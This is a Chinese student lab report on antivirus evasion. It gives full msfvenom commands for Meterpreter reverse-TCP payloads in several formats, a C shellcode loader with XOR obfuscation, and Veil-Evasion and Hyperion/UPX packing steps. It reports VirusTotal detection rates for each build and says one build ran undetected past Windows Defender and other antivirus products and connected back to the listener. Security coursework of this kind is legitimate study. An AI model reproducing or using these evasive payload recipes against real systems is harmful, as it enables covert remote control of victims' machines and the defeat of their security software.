1.实验内容
-
正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
-
通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理。与杀软共生的结果验证要截图。
-
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.实验过程
2.1 基础问题回答
-
杀软是如何检测出恶意代码的?
-
基于特征码的检测
简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。 -
基于签名的检测技术
基于签名的检测技术主要基于模式匹配的思想,为每种已知恶意代码产生一个唯一的签名特征标记来创建恶意代码库。这些签名包括很多不同的属性,如文件名、内容字符串或字节等,并且也从排除这些恶意代码所产生安全漏洞的角度来探讨保护系统安全。将未知代码的签名特征与恶意代码库进行对比,搜索恶意代码库查找时候存在相匹配的恶意代码签名,若有吻合,则判定为恶意代码;反之则判断为正常代码。这些签名由专家手工找出或通过自动方法生成,一个签名提取出来以标志一个特定恶意代码的特征性质。 -
启发式恶意软件检测
这种方法的思想是为病毒的特征设定一个阈值,扫描器分析文件时,当文件的总权值超出了设定值,就将其看作是恶意代码.这种方法主要的技术是要准确的定义类似病毒的特征,这依靠准确的模拟处理器。评定基于宏病毒的影响更是一个挑战,他们的结构和可能的执行流程比已经编译过的可执行文件更难预测。 -
基于行为的恶意软件检测
利用病毒的特有行为特征来监测病毒的方法,称为行为监测法。通过对病毒多年的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。当程序运行时,监视其行为,如果发现了病毒行为,立即报警。缺点是误报率比较高、不能识别病毒名称及类型、实现时有一定难度。
-
-
免杀是做什么?
免杀,即Anti-AntiVirus(简写Virus AV)。对恶意软件做处理使其不被杀毒软件所检测,是一种能使病毒木马避免被杀毒软件查杀的技术。
-
免杀的基本方法有哪些?
文件免杀方法:
-
加冷门壳
-
加花指令
-
改程序入口点
-
改木马文件特征码的5种常用方法
(1)直接修改特征码的十六进制
修改方法:把特征码所对应的十六进制改成数字差1或差不多的十六进制
适用范围:要精确定位特征码所对应的十六进制(2)修改字符串大小写
修改方法:把特征码所对应的内容是字符串的,大小字互换
适用范围:特征码所对应的内容必须是字符串(3)等价替换
修改方法:把特征码所对应的汇编指令命令中替换成功能类拟的指令
适用范围:特征码中必需有可以替换的汇编指令,比如JN、JNE换成JMP等(4)指令顺序调换
修改方法:把具有特征码的代码顺序互换一下
适用范围:具有一定的局限性,代码互换后要不能影响程序的正常执行(5)通用跳转法
修改方法:把特征码移到零区域(指代码的空隙处),然后一个JMP跳回来执行
适用范围:无,是通用的
-
-
开启杀软能绝对防止电脑中恶意代码吗?
不能绝对防止。首先,不同的杀软效果好坏不同,一些低质量杀软无法防止复杂的恶意代码;其次,杀软检查到恶意代码是需要一定时间的,可能在检测到之前恶意代码就已经生效;最后,所谓“道高一尺,魔高一丈”,杀软不断发展着,恶意代码也不断进化着。除了使用杀软,提高警惕与安全意识、使用电脑时做好防护、不点击可疑链接等才能更高效地防止恶意代码。
2.2 正确使用免杀工具或技巧
2.2.1 msf编码器
-
msfvenom介绍
Metasploit独立有效载荷生成器,也是msfpayload和msfencode的替代品。利用msfvenom生成木马程序,并在目标机上执行、在本地监听。
参数说明: -p, --payload <payload> 指定需要使用的payload(攻击载荷)。 -f, --format <format> 指定输出格式 -e, --encoder [encoder] 指定需要使用的encoder(编码器) -a, --arch <architecture> 指定payload的目标架构 --platform <platform> 指定payload的目标平台 -b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff' -i, --iterations <count> 指定payload的编码次数 -o, --out <path> 保存payload
-
不同编码次数
编码器(encoder)将信息(汇编指令)转换为另一种形式,使将载荷传送到目标系统/应用程序时绕过检测。
最著名的编码器是x86/shikataga_nai。这是一个多态XOR累积反馈编码器,每次都会产生不同的输出,从而加大被检测到的难度。
这里我使用x86/shikata_ga_nai作为编码器,设置不同的编码次数进行多次迭代(即生成最终有效负载之前必须执行多少次编码传递,这样做可以隐身或防病毒规避),通过检出率观察免杀效果是否有变化。# 无编码 msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' LHOST=172.30.2.104 LPORT=2415 -f exe > en0.exe # 编码1次 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=172.30.2.104 LPORT=2415 -f exe > en1.exe # 编码10次 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=172.30.2.104 LPORT=2415 -f exe > en10.exe # 编码60次 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 60 -b '\x00' LHOST=172.30.2.104 LPORT=2415 -f exe > en60.exe
-
不同输出格式
攻击载荷(payload)是一段代码,通过漏洞利用把这段代码传递到目标系统或应用程序以执行我们想要的操作。
payload的命名为三段式标准,“操作系统/运行方式+控制方式+模块具体名称”共同组合而成。如“windows/meterpreter/reverse_tcp”,windows为操作系统,meterpreter为控制方式,reverse_tcp为模块具体名称。
这里尝试选择不同运行方式下的payload,通过检出率观察免杀效果是否有变化。# jar文件 msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=172.30.2.104 LPORT=2415 x> ja20192415.jar # php文件 msfvenom -p php/meterpreter/reverse_tcp -b '\x00' LHOST=172.30.2.104 LPORT=2415 x> ph20192415.php # python文件 msfvenom -p python/meterpreter/reverse_tcp -b '\x00' LHOST=172.30.2.104 LPORT=2415 x> py20192415.py # apk文件(这里不使用“-b '\x00'”,因为没有指定编码器,使用的话会报错) msfvenom -p android/meterpreter/reverse_tcp LHOST=172.30.2.104 LPORT=2415 x> ap20192415.apk
-
免杀效果测试
将使用msfvenom生成的文件上传到VirusTotal 和Virscan 进行测试,查看免杀效果,检出率总结与部分检测截图如下。
VirusTotal,是一个提供免费的可疑文件分析服务的网站。它与传统杀毒软件的不同之处是它通过多种反病毒引擎扫描文件。使用多种反病毒引擎对您所上传的文件进行检测, 以判断文件是否被病毒, 蠕虫, 木马, 以及各类恶意软件感染。这样大大减少了杀毒软件误杀或未检出病毒的几率,其检测率优于使用单一产品。
VirSCAN,是一项免费的在线扫描服务,它使用VirSCAN列表中指示的防病毒引擎检查上传的文件是否存在恶意软件。上传要检查的文件后,可以看到扫描结果以及这些文件对计算机的危险性和有害性/无害性。
根据下表可知,多次编码的免杀效果微乎其微,而不同的payload对免杀效果的影响较大,meterpreter运行在python和php上免杀效果是相对最好的。
文件名 攻击载荷payload 编码器 编码次数 输出格式 VirusTotal Virscan en0.exe windows/meterpreter/reverse_tcp 无 0 exe 53/69 21/51 en1.exe windows/meterpreter/reverse_tcp x86/shikata_ga_nai 1 exe 53/68 19/51 en10.exe windows/meterpreter/reverse_tcp x86/shikata_ga_nai 10 exe 53/69 20/51 en60.exe windows/meterpreter/reverse_tcp x86/shikata_ga_nai 60 exe 51/68 21/51 ja20192415.jar java/meterpreter/reverse_tcp 无 0 jar 32/60 1/51 ph20192415.php php/meterpreter/reverse_tcp 无 0 php 21/57 3/51 py20192415.py python/meterpreter/reverse_tcp 无 0 py 18/58 3/51 ap20192415.apk android/meterpreter/reverse_tcp 无 0 apk 33/62 0/32
2.2.2 Veil-Evasion
-
veil介绍
Veil、Venom和Shellter是三大老牌免杀工具。Veil中有两个功能模块,Evasion和Ordnance:Evasion用做文件免杀,Ordnance可生成在Veil-Evasion中使用的shellcode。本次实验我使用的是Evasion模块。
Veil-Evasion是一个用python写的免杀框架,可以将任意脚本或一段shellcode转换成Windows可执行文件(用其他语言如c、c#、phython、ruby、go、powershell等重写了meterperter,然后再通过不同方式编译成exe),还能利用Metasploit框架生成相兼容的Payload工具,从而逃避了常见防病毒产品的检测。 -
使用方法
vile #进入veil工具 use evasion #进入evasion模块 use c/meterpreter/rev_tcp.py #选择payload # 这里也可以先用“list”查看所有可选择的payload,然后直接使用“use payload序号”来选择payload set LHOST 172.30.2.104 #设置IP set LPORT 2415 #设置端口 options #查看配置内容 generate #执行payload xzb20192415veil1 #输入生成文件的名称
-
实验过程
在本次实验中,我使用Veil-Evasion选择了不同的payload分别生成2个文件。
xzb20192415veil1.exe使用c/meterpreter/rev_tcp.py作为payload;
xzb20192415veil2.exe使用python/meterpreter/rev_tcp.py作为payload。xzb20192415veil1.exe生成过程:
xzb20192415veil2.exe生成过程:
过程中需要对的库进行选择,这里我选择的是Pyinstaller:
- 如果使用Pyinstaller,payload会转成能够直接使用的可执行程序;
- 如果使用Py2Exe,把payload.py和两个相关的文件放到windows系统上,执行批处理脚本将payload转换成可执行程序。
-
免杀效果测试
根据下表总结的检出率、结合2.2.1中4个exe文件的免杀效果可知,面对如今不断发展进化的杀毒软件,Veil-Evasion的免杀效果比msfvenom有所提升但仍不算好。
文件名 攻击载荷payload VirusTotal Virscan xzb20192415veil1.exe c/meterpreter/rev_tcp.py 37/65 9/51 xzb20192415veil2.exe python/meterpreter/rev_tcp.py 33/69 9/51
2.2.3 加壳
-
加壳
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。从技术上分壳分为:
- 压缩壳
减少应用体积,如ASPack,UPX - 加密壳
版权保护,反跟踪。如ASProtect,Armadillo - 虚拟机
通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida
- 压缩壳
-
压缩壳
UPX是一款先进的可执行程序文件压缩器,压缩过的可执行文件体积缩小50%-70%,能有效防止程序被人进行反编译破解。
通过UPX压缩过的程序完全没有功能损失,和压缩之前一样可正常运行,对于支持的大多数格式没有运行时间或内存的不利后果。
使用方法:upx a.exe -o b.exe #a为待压缩程序名,b为压缩后程序名
-
加密壳
加密二进制是一种常用的过杀软的方法。加密器的原理就是混淆二进制来对抗杀软,当二进制文件运行的时候加密的内容会被还原。Kali Linux有一个开源的加密器,名为Hyperion,能规避反病毒软件。
使用方法:cd /usr/share/windows-resources/hyperion wine hyperion.exe -v a.exe b.exe #a为待加密程序名,b为加密后程序名
这里没有单独展示加壳后的免杀效果,在“2.3 组合应用各种技术实现恶意代码免杀”会展示。
2.2.4 C+shellcode编程+w64-mingw32
-
实现过程
这里我首先使用msfvenom生成一个Shellcode数组,再使用该数组编写程序。根据实验指导书,选择了不同的payload和编码器分别生成2个程序。
该方法具体实现过程如下:(1)生成Shellcode msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.2.104 LPORT=2415 -f c #生成一个c语言格式的Shellcode数组 (msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=172.30.2.104 LPORT=2415 -f c #使用不同编码器,效果会更好) (2)编写程序 vim 20192415censhell.c #进入编辑器编写程序 程序内容如下: unsigned char buf[] = 之前获得的shellcode; int main() { int (*func)() = (int(*)())buf; func(); } (3)编译 i686-w64-mingw32-g++ 20192415cshell.c -o #编译器在64位系统上构建32位应用程序
20192415cshell.exe基于20192415cshell.c,payload为windows/meterpreter/reverse_tcp且不进行编码:
20192415censhell.exe基于20192415censhell.c,payload为windows/meterpreter/reverse_https且由x86/bloxor编码一次:
-
免杀效果测试
相较于msfvenom和Veil-Evasion,“C+shellcode编程+w64-mingw32”的免杀效果会更好一些。
文件名 攻击载荷payload 编码器 编码次数 输出格式 VirusTotal Virscan 20192415cshell.exe windows/meterpreter/reverse_tcp 无 0 exe 36/69 6/51 20192415censhell.exe windows/meterpreter/reverse_https x86/bloxor 1 exe 15/67 3/51
2.3 组合应用各种技术实现恶意代码免杀
2.3.1 方案一:C+shellcode编程 + 异或 + 加密壳 + 压缩壳
-
C+shellcode编程
根据前面2.2中的免杀效果测试,生成exe程序的方式选择免杀效果相对较好的“C+shellcode编程+w64-mingw32”。
在msfvenom下,选择windows/meterpreter/reverse_tcp作为payload,先用x86/shikata_ga_nai编码再用x86/bloxor编码,得到一个shellcode。msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' -e x86/shikata_ga_nai LHOST=172.30.2.104 LPORT=2415 -f raw | msfvenom -a x86 --platform windows -b '\x00' -e x86/bloxor -f c
-
异或
首先将1中生成的Shellcode进行异或,将异或后的数组作为新的Shellcode。
编写程序时在main函数中再次进行异或,这样两次异或后又回到了原来的Shellcode,但生成的exe却会有多不同,最后进行编译得到xzbcombination.exe。异或相关代码如下: int i; for (i = 0; i < sizeof(buf); i++){ buf[i] ^= 0x01; }
-
加密壳
cd /usr/share/windows-resources/hyperion wine hyperion.exe -v xzbcombination.exe xzbbinaen.exe
-
压缩壳
upx xzbbinaen.exe -o xzbbinapress.exe #加密后再压缩 upx xzbcombination.exe -o xzbcompress.exe #仅压缩
-
免杀效果测试
由下表可知,加密壳反而会使检出率提高免杀效果下降,压缩壳的能稍提高免杀效果。不加任何壳反而免杀效果不错。
文件名 加密 压缩 VirusTotal Virscan xzbcombination.exe 否 否 12/67 3/51 xzbbinaen.exe 是 否 47/69 13/51 xzbbinapress.exe 是 是 27/51 10/51 xzbcompress.exe 否 是 12/68 2/51
2.3.2 方案二:C+shellcode编程 + 异或
根据2.3.1,我们分别将xzbcombination.exe与xzbbinapress.exe传输到杀毒软件开启的win10主机上,观察免杀效果。
该win10设备上有两种杀毒软件:Avira免费安全套件(1.0.25) + windows defender。
结果是,既不加密也不压缩的xzbcombination.exe能够实现恶意代码免杀;加密后压缩的xzbbinapress.exe很快被windows defender检测到。
xzbcombination.exe实现恶意代码免杀:
xzbbinapress.exe被windows defender检测到:
2.4 用另一电脑实测,杀软开启情况下可运行并回连成功
将2.3中得到的xzbcombination.exe程序发送给另一台主机。该台主机为win10系统,杀毒软件为联想电脑管家(5.0.0)。
kali主机进入msfconsole控制台并进行相应配置(具体可参考实验二),然后使用exploit开启监听。
另一台主机运行xzbcombination.exe,回连成功。
3.问题及解决方案
- 问题1:vile工具无法下载
- 问题1解决方案:原先使用的kali版本是2019.2,时间过于久远出现数字签名过期无法更新源等问题。在下载vile时,尝试更新配置源、从github克隆均无法成功下载。最终只能重新安装kali虚拟机(顺带更新了VirtualBox)。现在使用的是VirtualBox 6.1.12 + kali 2022.1。
- 问题2:在Virscan中部分文件上传后无法检测
- 问题2解决方案:文件名中含有“20192415”,被Virscan网站视为非法,对文件重命名后重新上传即可检测。
- 问题3:卸载windows defender后无法安装
- 问题3解决方案:实验过程中,为了更好观察免杀效果。下载安装了杀毒软件“小红伞”,实测过程中发现该软件的免费版本不如windows系统自带的windows defender效果好,因此卸载该软件。卸载后系统原先自带的windows defender病毒与威胁防护无法使用,应该是在运行小红伞的过程中更改注册表导致的。尝试网络上的解决方法均无果,后来在“windows更新设置”中重新安装了windows病毒与威胁防护,并将系统升级为Windows 11。
- 问题4:重装win11后,kali的“网络设置”中“桥接网卡”的“界面名称”未指定
- 问题4解决方案:这是因为没有装好虚拟网卡驱动。参照解决VirtualBox 桥接网卡界面名称未指定问题 皆可解决。
4.学习感悟、思考等
在本次实验中,我接触了许多不同的免杀工具,尝试实现恶意代码免杀并取得成功。
通过使用在线的可疑文件扫描分析服务,获取恶意代码在不同杀软中的检出率,来了解不同选择下免杀效果的不同。
经过总结后,我选取了多种免杀方式中的一些进行组合构造自己的恶意代码。幸运的是,这个程序成功地能够不被杀软检测到。
但经过试验发现,如果我重复多次向同一个文件夹发送多个恶意代码,那被检出的可能性就会增大,这个文件夹在杀软眼中的可疑性就增强了。
同时,通过本实验我们可以发现开启杀软并不能绝对防止电脑中恶意代码。“道高一尺,魔高一丈”,杀软不断发展着,恶意代码也不断进化着。
除了使用杀软,提高警惕与安全意识、使用电脑时做好防护、不点击可疑链接等才能更高效地防止恶意代码。